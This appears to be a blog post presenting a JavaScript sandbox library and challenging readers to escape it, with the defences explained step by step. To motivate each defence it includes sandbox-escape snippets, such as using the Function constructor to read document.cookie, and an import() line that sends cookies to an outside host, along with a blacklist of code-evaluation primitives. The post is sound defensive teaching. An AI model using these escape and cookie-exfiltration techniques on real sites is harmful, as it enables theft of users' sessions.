$mol_func_sandbox: hack me if you might!
Tags: sandbox, javascript, mol, challenge
Published: 2020-08-07 19:15:47

Hello, I'm Jin, and I... want to play a game with you. Its rules are very simple, but breaking them... will lead you to victory. Feel like a hacker getting out of the JavaScript sandbox in order to read cookies, mine bitcoins, make a deface, or something else interesting.

![](https://habrastorage.org/webt/oe/xp/wt/oexpwtepynvvcf4eq2zdl0nykyw.png)
https://sandbox.js.hyoo.ru/


And then I'll tell you how the sandbox works and give you some ideas for hacking.

<cut/>

# How it works

The first thing we need to do is hide all the global variables. This is easy to do — just mask them with local variables of the same name:

```typescript
for( let name in window ) {
	context_default[ name ] = undefined
}
```

However, many properties (for example, `window.constructor`) are non-iterable. Therefore, it is necessary to iterate over all the properties of the object:

```typescript
for( let name of Object.getOwnPropertyNames( window ) ) {
	context_default[ name ] = undefined
}
```

But `Object.getOwnPropertyNames` returns only the object's own properties, ignoring everything it inherits from the prototype. So we need to go through the entire chain of prototypes in the same way and collect names of all possible properties of the global object:

```typescript
function clean( obj : object ) {

	for( let name of Object.getOwnPropertyNames( obj ) ) {
		context_default[ name ] = undefined
	}
				
	const proto = Object.getPrototypeOf( obj )
	if( proto ) clean( proto )

}
clean( win )
```

And everything would be fine, but this code falls because, in strict mode, you can not declare a local variable named `eval`:

```javascript
'use strict'
var eval // SyntaxError: Unexpected eval or arguments in strict mode
```

But use it - allowed:

```javascript
'use strict'
eval('document.cookie') // password=P@zzW0rd
```

Well, the global eval can simply be deleted:

```javascript
'use strict'
delete window.eval
eval('document.cookie') // ReferenceError: eval is not defined
```

And for reliability, it is better to go through all its own properties and remove everything:

```javascript
for( const key of Object.getOwnPropertyNames( window ) ) delete window[ key ]
```

Why do we need a strict mode? Because without it, you can use `arguments.callee.caller` to get any function higher up the stack and do things:

```javascript
function unsafe(){ console.log( arguments.callee.caller ) }
function safe(){ unsafe() }
safe() // ƒ safe(){ unsafe() }
```

In addition, in non-strict mode, it is easy to get a global namespace just by taking `this` when calling a function not as a method:

```javascript
function get_global() { return this }
get_global() // window
```

All right, we've masked all the global variables. But their values can still be obtained from the primitives of the language. For example:

```javascript
var Function = ( ()=>{} ).constructor
var hack = new Function( 'return document.cookie' )
hack() // password=P@zzW0rd
```

What to do? Delete unsafe constructors:

```javascript
Object.defineProperty( Function.prototype , 'constructor' , { value : undefined } )
```

This would be enough for some ancient JavaScript, but now we have different types of functions and each option should be secured:

```typescript
var Function = Function || ( function() {} ).constructor
var AsyncFunction = AsyncFunction || ( async function() {} ).constructor
var GeneratorFunction = GeneratorFunction || ( function*() {} ).constructor
var AsyncGeneratorFunction = AsyncGeneratorFunction || ( async function*() {} ).constructor
```

Different scripts can run in the same sandbox, and it won't be good if they can affect each other's, so we freeze all objects that are available through the language primitives:

```typescript
for( const Class of [
	String , Number , BigInt , Boolean , Array , Object , Promise , Symbol , RegExp , 
	Error , RangeError , ReferenceError , SyntaxError , TypeError ,
	Function , AsyncFunction , GeneratorFunction ,
] ) {
	Object.freeze( Class )
	Object.freeze( Class.prototype )
}
```

OK, we have implemented total fencing, but the price for this is a severe abuse of runtime, which can also break our own application. That is, we need a separate runtime for the sandbox, where you can create any obscenities. There are two ways to get it: via a hidden frame or via a web worker.

Features of the worker:

- Full memory isolation. It is not possible to break the runtime of the main application from the worker.
- You can't pass your functions to the worker, which is often necessary. This restriction can be partially circumvented by implementing RPC.
- The worker can be killed by timeout if the villain writes an infinite loop there.
- All communication is strictly asynchronous, which is not very fast.

Frame features:

- You can pass any objects and functions to the frame, but you can accidentally grant access to something that you wouldn't.
- An infinite loop in the sandbox hangs the entire app.
- All communication is strictly synchronous.

Implementing RPC for a worker is not tricky, but its limitations are not always acceptable. So let's consider the option with a frame.

If you pass an object to the sandbox from which at least one changeable object is accessible via links, then you can change it from the sandbox and break our app:

```javascript
numbers.toString = ()=> { throw 'lol' }
```

But this is still a flower. The transmission in the frame, any function will immediately open wide all doors to a cool-hacker:

```javascript
var Function = random.constructor
var hack = new Function( 'return document.cookie' )
hack() // password=P@zzW0rd
```

Well, the proxy is coming to the rescue:

```typescript
const safe_derived = ( val : any ) : any => {

	const proxy = new Proxy( val , {

		get( val , field : any ) {
			return safe_value( val[field] )
		},
					
		set() { return false },
		defineProperty() { return false },
		deleteProperty() { return false },
		preventExtensions() { return false },
					
		apply( val , host , args ) {
			return safe_value( val.call( host , ... args ) )
		},

		construct( val , args ) {
			return safe_value( new val( ... args ) )
		},
	}

	return proxy
})
```

In other words, we allow accessing properties, calling functions, and constructing objects, but we prohibit all invasive operations. It is tempting to wrap the returned values in such proxies, but then you can follow the links to an object that has a mutating method and use it:

```javascript
config.__proto__.__defineGetter__( 'toString' , ()=> ()=> 'rofl' )
({}).toString() // rofl
```

Therefore, all values are forced to run through intermediate serialization in JSON:

```typescript
const SafeJSON = frame.contentWindow.JSON

const safe_value = ( val : any ) : any => {

	const str = JSON.stringify( val )
	if( !str ) return str

	val = SafeJSON.parse( str )
	return val

}
```

This way only objects and functions that we passed there explicitly will be available from the sandbox. But sometimes you need to pass some objects implicitly. For them, we will create a `whitelist` in which we will automatically add all objects that are wrapped in a secure proxy, are neutralized, or come from the sandbox:

```typescript
const whitelist = new WeakSet

const safe_derived = ( val : any ) : any => {
	const proxy = ...
	whitelist.add( proxy )
	return proxy
}

const safe_value = ( val : any ) : any => {

	if( whitelist.has( val ) ) return val

	const str = JSON.stringify( val )
	if( !str ) return str

	val = SafeJSON.parse( str )
	whitelist.add( val )
	return val
}
```

And in case the developer inadvertently provides access to some function that allows you to interpret the string as code, we'll also create a `blacklist` listing what can't be passed to the sandbox under any circumstances:

```typescript
const blacklist = new Set([
	( function() {} ).constructor ,
	( async function() {} ).constructor ,
	( function*() {} ).constructor ,
	eval ,
	setTimeout ,
	setInterval ,
])
```

Finally, there is such a nasty thing as `import()`, which is not a function, but a statement of the language, so you can not just delete it, but it allows you to do things:

```javascript
import( "https://example.org/" + document.cookie )
```

We could use the `sandbox`  attribute from the frame to prohibit executing scripts loaded from the left domain:

```typescript
frame.setAttribute( 'sandbox' , `allow-same-origin` )
```

But the request to the server will still pass. Therefore, it is better to use a more reliable solution - to stop the event-loop by deleting the frame, after getting all the objects necessary for running scripts from it:

```typescript
const SafeFunction = frame.contentWindow.Function
const SafeJSON = frame.contentWindow.JSON
frame.parentNode.removeChild( frame )
```

Accordingly, any asynchronous operations will produce an error, but synchronous operations will continue to work.

As a result, we have a fairly secure sandbox with the following characteristics:

- You can execute any JS code.
- The code is executed synchronously and does not require making all functions higher up the stack asynchronous.
- You can't read data that you haven't granted access to.
- You can't change the behavior of an application that uses the sandbox.
- You can't break the functionality of the sandbox itself.
- You can hang the app in an infinite loop.

But what about infinite loops? They are quite easy to detect. You can prevent this code from being passed at the stage when the attacker enters it. And even if such a code does get through, you can detect it after the fact and delete it automatically or manually.

If you have any ideas on how to improve it, [write a telegram](https://t.me/mam_mol).

# Links

- https://sandbox.js.hyoo.ru/ - online sandbox with examples of potentially dangerous code.
- https://calc.hyoo.ru/ - a spreadsheet that allows you to use custom JS code in cells.
- https://showcase.hyoo.ru/ - other our apps. [Order a new one from us](https://t.me/nin_jin) if you want.